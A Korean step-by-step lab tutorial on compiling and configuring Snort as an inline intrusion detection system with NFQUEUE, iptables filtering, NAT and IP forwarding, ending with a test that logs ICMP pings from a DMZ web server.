[root@web1 ~]# ping 192.168.101.253 -c 4
PING 192.168.101.253 (192.168.101.253) 56(84) bytes of data.
64 bytes from 192.168.101.253: icmp_seq=1 ttl=64 time=0.402 ms
64 bytes from 192.168.101.253: icmp_seq=2 ttl=64 time=0.312 ms
64 bytes from 192.168.101.253: icmp_seq=3 ttl=64 time=0.314 ms
64 bytes from 192.168.101.253: icmp_seq=4 ttl=64 time=0.315 ms
--- 192.168.101.253 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 0.312/0.335/0.402/0.044 ms
web1 에서 외부로 통신이 되는지 확인한다.
- 여기서는 통신이 안되는게 정상이다.
[root@web1 ~]# ping 8.8.8.8 -c 4
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 2999ms
3. NIDS 설치
EPEL 저장소 설치
EPEL(Extra Packages for Enterprise Linux) 저장소를 설치한다.
[root@nids ~]# yum -y install epel-release
snort 를 설치하기 위한 필요한 패키지를 설치한다.
[root@nids ~]# yum -y install gcc flex bison zlib zlib-devel libpcap \
libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump libnet-devel
NIDS로 snort 를 설치하기 위해 아래 패키지들을 설치한다.
[root@nids ~]# yum -y install libnetfilter_queue libnetfilter_queue-devel libmnl
패키지 확인
패키지들의 설치여부를 확인한다.
[root@nids ~]# rpm -q gcc flex bison zlib zlib-devel libpcap \
libpcap-devel pcre pcre-devel libdnet libdnet-devel tcpdump libnet-devel \
libnetfilter_queue libnetfilter_queue-devel libmnl
snort 업로드
https://www.snort.org/#get-started 홈페이지에 설치에 대한 내용이 있으므로 참고한다.
snort 홈페이지는 최신버전으로 나와있으므로 직접 배포한 파일을 업로드한다.
daq-2.0.6.tar.gz, snort-2.9.11.1.tar.gz 파일을 WinSCP로 firewall(NIDS) 서버에 업로드 한다.
컴파일 및 설치
--enable-sourcefire : 특정 빌드 옵션 사용(--enable-perfprofiling 과 --enable-ppm를 통합한 옵션)
--enable-ppm : 패킷 / 규칙 성능 모니터를 활성화
--enable-perfprofiling : 전 처리기 및 규칙 성능 프로파일링 사용
현재 시간을 설정하고 컴파일한다.
rdate 의 시간설정이 안되면 date 명령어로 시간을 설정한다.
[root@nids ~]# yum -y install rdate
[root@nids ~]# rdate -s time.bora.net
daq-2.0.6.tar.gz 파일의 압축을 해제하고 압축이 풀린 디렉터리로 들어가서 소스 컴파일을 한다.
[root@nids ~]# tar xzf daq-2.0.6.tar.gz
[root@nids ~]# cd daq-2.0.6
[root@nids daq-2.0.6]# ls /usr/local/bin/
[root@nids daq-2.0.6]# ./configure && make && make install
[root@nids daq-2.0.6]# ls /usr/local/bin -l
합계 4
-rwxr-xr-x. 1 root root 645 3월 17 17:13 daq-modules-config
[root@nids daq-2.0.6]# cd ..
snort-2.9.11.1.tar.gz 파일의 압축을 해제하고 압축이 풀린 디렉터리로 들어가서 소스 컴파일을 한다.
[root@nids ~]# tar xzf snort-2.9.11.1.tar.gz
[root@nids ~]# cd snort-2.9.11.1
[root@nids snort-2.9.11.1]# ./configure --enable-sourcefire && make && make install
[root@nids snort-2.9.11.1]# ls -l /usr/local/bin
합계 10340
-rwxr-xr-x. 1 root root 645 3월 17 17:13 daq-modules-config
-rwxr-xr-x. 1 root root 10511952 3월 17 17:17 snort
-rwxr-xr-x. 1 root root 26408 3월 17 17:17 u2boat
-rwxr-xr-x. 1 root root 36872 3월 17 17:17 u2spewfoo
DAQ 는 기존 패킷 참조 방식을 대체 하는 역할을 하며, 더욱 쉽게 패킷 캡처를 구현하게 한다.
snort 가 저장된 /usr/local/bin 디렉터리가 환경변수 PATH에 설정되어 있으므로 명령어를 그냥 실행하면 실행된다.
[root@nids ~]# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
~~~~~~~~~~~~~~
[root@nids ~]# snort --daq-list
Available DAQ modules:
pcap(v3): readback live multi unpriv
nfq(v7): live inline multi <-- NIDS에서 사용
ipfw(v3): live inline multi unpriv
dump(v3): readback live inline multi unpriv
afpacket(v5): live inline multi unpriv
[root@nids ~]# ls -l /usr/local/lib/daq/
합계 228
-rwxr-xr-x. 1 root root 959 3월 17 17:13 daq_afpacket.la
-rwxr-xr-x. 1 root root 59160 3월 17 17:13 daq_afpacket.so
-rwxr-xr-x. 1 root root 915 3월 17 17:13 daq_dump.la
-rwxr-xr-x. 1 root root 29432 3월 17 17:13 daq_dump.so
-rwxr-xr-x. 1 root root 935 3월 17 17:13 daq_ipfw.la
-rwxr-xr-x. 1 root root 32872 3월 17 17:13 daq_ipfw.so
-rwxr-xr-x. 1 root root 966 3월 17 17:13 daq_nfq.la
-rwxr-xr-x. 1 root root 40704 3월 17 17:13 daq_nfq.so <-- NIDS 에서 사용
-rwxr-xr-x. 1 root root 915 3월 17 17:13 daq_pcap.la
-rwxr-xr-x. 1 root root 37152 3월 17 17:13 daq_pcap.so
설치 확인
[root@nids ~]# snort -V
,,_ -*> Snort! <*-
o" )~ Version 2.9.11.1 GRE (Build 268)
'''' By Martin Roesch & The Snort Team: http://www.snort.org/contact#team
Copyright (C) 2014-2017 Cisco and/or its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.
Using libpcap version 1.5.3
Using PCRE version: 8.32 2012-11-30
Using ZLIB version: 1.2.7
설정 디렉터리 생성 및 룰 다운로드
rule 다운로드
snort 제작사 Cisco에서는 snort가 최신 공격패턴을 탐지할 수 있도록 룰셋을 만들어서 배포하며
룰셋은 커뮤니티 버전(무료), 일반가입자 버전(무료), 구독자 버전(유료) 3가지가 존재한다.
유료가입자는 기술 지원과 함께 바로 룰셋 업데이트를 적용 받지만 일반 사용자는 30일이 지난 후
동일한 룰셋을 다운받을 수 있다.)
Community rules : 커뮤니티 버전(무료)으로 누구나 다운로드 받을 수 있다.
Registered rules : 일반가입자 버전(무료)으로 회원등록 후 다운로드 받을 수 있다.
Subscriber rules : 구독자 버전(유료)으로 비용을 지불해야 다운로드 받을 수 있다.
/etc/snort 디렉터리를 생성하고 /etc/snort 디렉터리로 이동한다.
[root@nids ~]# mkdir /etc/snort
[root@nids ~]# cd /etc/snort
[root@nids snort]# cp ~/snort-2.9.11.1/etc/* .
snort 사이트에서 community rules 파일을 다운로드 받는다.
[root@nids snort]# yum -y install wget
[root@nids snort]# wget https://www.snort.org/downloads/community/community-rules.tar.gz
[root@nids snort]# tar xzf community-rules.tar.gz
community-rules 디렉터리를 rules 디렉터리로 이름을 변경한다.
[root@nids snort]# ls community-rules
[root@nids snort]# mv community-rules rules
화이트리스트 룰과 블랙리스트 룰 파일을 생성한다.
화이트리스트 룰 (white_list.rules) : 신뢰할 수 있는 룰(허용할 룰)을 설정하는 방식
블랙리스트 룰 (black_list.rules) : 신뢰하지 않는 룰(거부할 룰)을 설정하는 방식
[root@nids snort]# touch rules/white_list.rules
[root@nids snort]# touch rules/black_list.rules
vim 설정
snort.conf를 컬러풀하게 보여주는 역할을 하기 위해서 vim 패키지를 설치한다.
[root@nids snort]# yum -y install vim
[root@nids snort]# vi /etc/vimrc
:
:(생략)
set nu
set ai
set bg=dark
set sw=4
set ts=4
set cursorline
set expandtab
set fileencodings='utf8,euckr'
[root@nids snort]# alias vi=vim
[root@nids snort]# vi ~/.bashrc
# .bashrc
# User specific aliases and functions
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
alias vi='vim' # 추가
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
설정파일 수정
ipvar HOME_NET : snort 에서 탐지할 목적지 네트워크/IP 주소를 설정한다.(200.200.200.0/24)
ipvar EXTERNAL_NET : snort 에서 탐지할 출발지 네트워크/IP 주소를 설정한다.(any)
ipvar RULE_PATH : 룰 파일이 저장된 디렉터리를 지정한다.
[root@nids snort]# vi snort.conf
#ipvar HOME_NET any
ipvar HOME_NET 200.200.200.0/24 <-- 변경
# 아래 나오는 RULE_PATH, SO_RULE_PATH, PREPROC_RULE_PATH 경로를 모두
상대 경로(../)에서 절대 경로(/etc/snort/) 로 변경한다.
#var RULE_PATH ../rules
#var SO_RULE_PATH ../so_rules
#var PREPROC_RULE_PATH ../preproc_rules
var RULE_PATH /etc/snort/rules
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules
# 아래 나오는 WHITE_LIST_PATH, BLACK_LIST_PATH 경로를 모두
상대 경로(../)에서 절대 경로(/etc/snort/) 로 변경한다.
#var WHITE_LIST_PATH ../rules
#var BLACK_LIST_PATH ../rules
var WHITE_LIST_PATH /etc/snort/rules
var BLACK_LIST_PATH /etc/snort/rules
# 165번 라인쯤에 daq에 대한 주석이 있고 주석이 끝나는 부분 바로 아래에 4줄을 복사해서 nfq 설정을 넣어준다.
# config daq: <type>
# config daq_dir: <dir>
# config daq_mode: <mode>
# config daq_var: <var>
#
# <type> ::= pcap | afpacket | dump | nfq | ipq | ipfw
# <mode> ::= read-file | passive | inline
# <var> ::= arbitrary <name>=<value passed to DAQ
# <dir> ::= path as to where to look for DAQ module so's
config daq: nfq
config daq_dir: /usr/local/lib/daq
config daq_mode: inline
config daq_var: queue=0
# 263번 라인 근처에 dynamicdetection을 주석으로 처리한다.
#dynamicdetection directory /usr/local/lib/snort_dynamicrules
# 556번 라인근처에 local.rules는 빼고
# local.rules 밑에서 부터 라인수를 확인해서 각자의 라인 번호를 확인한다.
# app-detect.rules 부터 x11.rules 까지 나머지를 모두 주석으로 처리한다.
#
# vi 에서 한번에 주석처리하기 : :시작줄번호,끝줄번호s/^/#
# 예) :558,661s/^/#
# 스크립트로 작성하면 sed 를 이용해서 자동화 처리를 이용할 수도 있다.
# 향후 Kali Linux Snort rules 파일들을 가져와서 설정한다. (주석 해제 가능)
다운로드 받은 community.rules를 local.rules 밑에 추가한다.
주석처리된 설정파일은 아래와 같다.
include $RULE_PATH/local.rules
include $RULE_PATH/community.rules
#include $RULE_PATH/app-detect.rules
#include $RULE_PATH/attack-responses.rules
#include $RULE_PATH/backdoor.rules
:
: 나머지 룰 파일들을 모두 주석으로 처리한다.
:(생략)
#include $RULE_PATH/web-php.rules
#include $RULE_PATH/x11.rules
설정이 완료되면 /etc/snort/rules/local.rules 파일을 생성한다.
[root@nids snort]# touch rules/local.rules
사용자 계정 추가 및 권한설정
snort 를 실행할 사용자를 생성하고 /etc/snort 디렉토리는 snort 사용자만 접근할 수 있게 허가권의 접근 권한을 설정한다.
[root@nids snort]# useradd -u 40000 -d /var/log/snort -s /sbin/nologin -c SNORT_IDS snort
[root@nids snort]# chown -R snort.snort /etc/snort
[root@nids snort]# chmod 700 /etc/snort
[root@nids snort]# ls -ld /etc/snort/
drwx------. 3 snort snort 284 3월 17 17:33 /etc/snort/
[root@nids snort]# cd
snort 설정확인
설정파일 실패 : 설정파일 테스트 후 Fatal Error, Quitting.. 메세지가 출력되고 종료된다.
설정파일 성공 : 설정파일 테스트 후 Snort successfully validated the configuration! 메세지가 출력되고 종료된다.
-T : 테스트 옵션
-u : 사용자 옵션
-g : 그룹 옵션
-c : 설정파일 옵션
-Q : 인라인 모드 옵션(Enable inline mode operation.)
[root@nids ~]# snort --help
[root@nids ~]# snort -T -u snort -g snort -c /etc/snort/snort.conf -Q
:
:(생략)
Snort successfully validated the configuration!
Snort exiting
룰 설정
local.rules 파일이 기본적으로 없으므로 룰 파일을 생성한다.
룰의 sid 숫자 범위
99 이하 : 시스템 내부에서 사용
100 ~ 1,000,000이하 : 외부에서 제작해서 배포하는 탐지 규칙에서 사용
1,000,001 이상 : 사용자가 탐지 규칙을 설정할 때 만들어서 사용
[root@nids ~]# vi /etc/snort/rules/local.rules
alert icmp any any -> any any (msg: "ICMP ping test"; sid: 1000001)
4. 방화벽 설정
firewalld는 중지하고 iptables-services 패키지를 설치해서 사용한다.
[root@nids ~]# systemctl stop firewalld
[root@nids ~]# systemctl disable firewalld
[root@nids ~]# yum -y install iptables-services
[root@nids ~]# systemctl enable iptables
iptables 에서 아래 내용을 복사해서 실행한다.
WEB(80,443), SSH(22), ICMP
iptables -A INPUT -m state --state INVALID -j DROP
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -j DROP
iptables-save > /etc/sysconfig/iptables
FORWARD 체인에 NFQUEUE를 등록한다.
NFQUEUE를 등록하지 않으면 통신이 안된다.
-t filter INPUT : NIDS
-t filter OUTPUT : NIDS
-t filter FORWARD : WEB#1
[root@nids ~]# iptables -A FORWARD -j NFQUEUE -m comment --comment SNORT
[root@nids ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- 0.0.0.0/0 0.0.0.0/0 state INVALID
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:443
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
DROP all -- 0.0.0.0/0 0.0.0.0/0
Chain FORWARD (policy ACCEPT)
target prot opt source destination
NFQUEUE all -- 0.0.0.0/0 0.0.0.0/0 /* SNORT */ NFQUEUE num 0
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
[root@nids ~]# cat /etc/sysconfig/iptables
# Generated by iptables-save v1.4.21 on Fri Mar 17 17:38:02 2023
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [2:240]
-A INPUT -m state --state INVALID -j DROP
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -j DROP
COMMIT
# Completed on Fri Mar 17 17:38:02 2023
DNAT/SNAT를 설정한다.
200.200.200.101 공인 IP주소를 설정한다.
[root@nids ~]# nmtui
프로파일 이름: ens33
IPv4 설정 <수동>
주소: 200.200.200.13/24
200.200.200.101/24 <-- 추가한다.
게이트웨이: 200.200.200.2
DNS 서버: 168.126.63.1
[X] 자동으로 연결
[root@nids ~]# systemctl restart network
[root@nids ~]# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:a6:a1:81 brd ff:ff:ff:ff:ff:ff
inet 200.200.200.13/24 brd 200.200.200.255 scope global noprefixroute ens33
valid_lft forever preferred_lft forever
inet 200.200.200.101/24 brd 200.200.200.255 scope global secondary noprefixroute ens33
valid_lft forever preferred_lft forever
inet6 fe80::c010:3a35:3c56:2ed0/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: ens36: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:a6:a1:8b brd ff:ff:ff:ff:ff:ff
inet 192.168.101.253/24 brd 192.168.101.255 scope global noprefixroute ens36
valid_lft forever preferred_lft forever
inet6 fe80::78e1:73d8:9e73:b50d/64 scope link noprefixroute
valid_lft forever preferred_lft forever
-t nat PREROUTING: dst:200.200.200.101 -> dst: 192.168.101.101
-t nat POSTROUTING: src:192.168.101.101 -> src: 200.200.200.101
[root@nids ~]# iptables -t nat -A PREROUTING -d 200.200.200.101 -j DNAT --to 192.168.101.101
[root@nids ~]# iptables -t nat -A POSTROUTING -s 192.168.101.101 -j SNAT --to 200.200.200.101
[root@nids ~]# iptables-save > /etc/sysconfig/iptables
패킷을 영구적으로 포워딩하기 위해서는 /etc/systl.conf에 패킷 포워딩의 커널 파라미터 값을 설정해야 한다.
[root@nids ~]# vi /etc/sysctl.conf
# /proc/sys/net/ipv4/ip_forward
# 0: 패킷 포워딩 금지 (Host)
# 1: 패킷 포워딩 허용 (NIDS)
net.ipv4.ip_forward = 1
[root@nids ~]# sysctl -p
net.ipv4.ip_forward = 1
[root@nids ~]# cat /proc/sys/net/ipv4/ip_forward
1
5. 설정 확인
설정이 완료되면 서버를 재부팅해서 방화벽룰이 잘 올라오는지 확인한다.
[root@nids ~]# reboot
Connecting to 200.200.200.13:22...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.
WARNING! The remote SSH server rejected X11 forwarding request.
Last login: Fri Mar 17 16:48:01 2023 from 200.200.200.1
filter 테이블의 룰을 확인해서 아래처럼 설정이 되면 성공이다.
[root@nids ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- 0.0.0.0/0 0.0.0.0/0 state INVALID
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:443
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:80
ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22
ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
DROP all -- 0.0.0.0/0 0.0.0.0/0
Chain FORWARD (policy ACCEPT)
target prot opt source destination
NFQUEUE all -- 0.0.0.0/0 0.0.0.0/0 /* SNORT */ NFQUEUE num 0
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
nat 테이블의 룰을 확인해서 아래처럼 설정이 되면 성공이다.
[root@nids ~]# iptables -t nat -nL
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
DNAT all -- 0.0.0.0/0 200.200.200.101 to:192.168.101.101
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
SNAT all -- 192.168.101.101 0.0.0.0/0 to:200.200.200.101
패킷 포워딩을 확인해서 아래처럼 1이면 성공이다.
[root@nids ~]# cat /proc/sys/net/ipv4/ip_forward
1
6. snort 실행
DMZ망에 있는 WEB#1 서버가 외부로 ping test를 한다.
snort가 실행되지 않았기 때문에 외부로 ping test가 실패가 된다.
[root@web1 ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
<-- 패킷이 나가지 않는다.
snort에서 icmp 패킷을 탐지해서 console에 로그가 출력된다.
-q: 조용하게 처리
-A console: 룰이 탐지하면 console(화면)로 출력
-u snort: snort 사용자로 프로세스 실행
-g snort: snort 그룹으로 프로세스 실행
-c /etc/snort/snort.conf: 설정파일
-Q: 인라인 모드
[root@nids ~]# snort -q -A console -u snort -g snort -c /etc/snort/snort.conf -Q
snort가 실행되면 WEB#1에서 외부로 ping test를 다시 확인하면 패킷이 잘 통신이 되는걸 확인할 수 있다.
[root@web1 ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=43.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=42.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=42.0 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=41.5 ms
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 41.575/42.597/43.940/0.900 ms
[root@nids ~]# snort -q -A console -u snort -g snort -c /etc/snort/snort.conf -Q
10/17-13:13:07.775712 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 8.8.8.8
10/17-13:13:07.819091 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -> 192.168.101.101
10/17-13:13:08.776194 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 8.8.8.8
10/17-13:13:08.818447 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -> 192.168.101.101
10/17-13:13:09.777646 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 8.8.8.8
10/17-13:13:09.819317 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -> 192.168.101.101
10/17-13:13:10.778419 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -> 8.8.8.8
10/17-13:13:10.819430 [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -> 192.168.101.101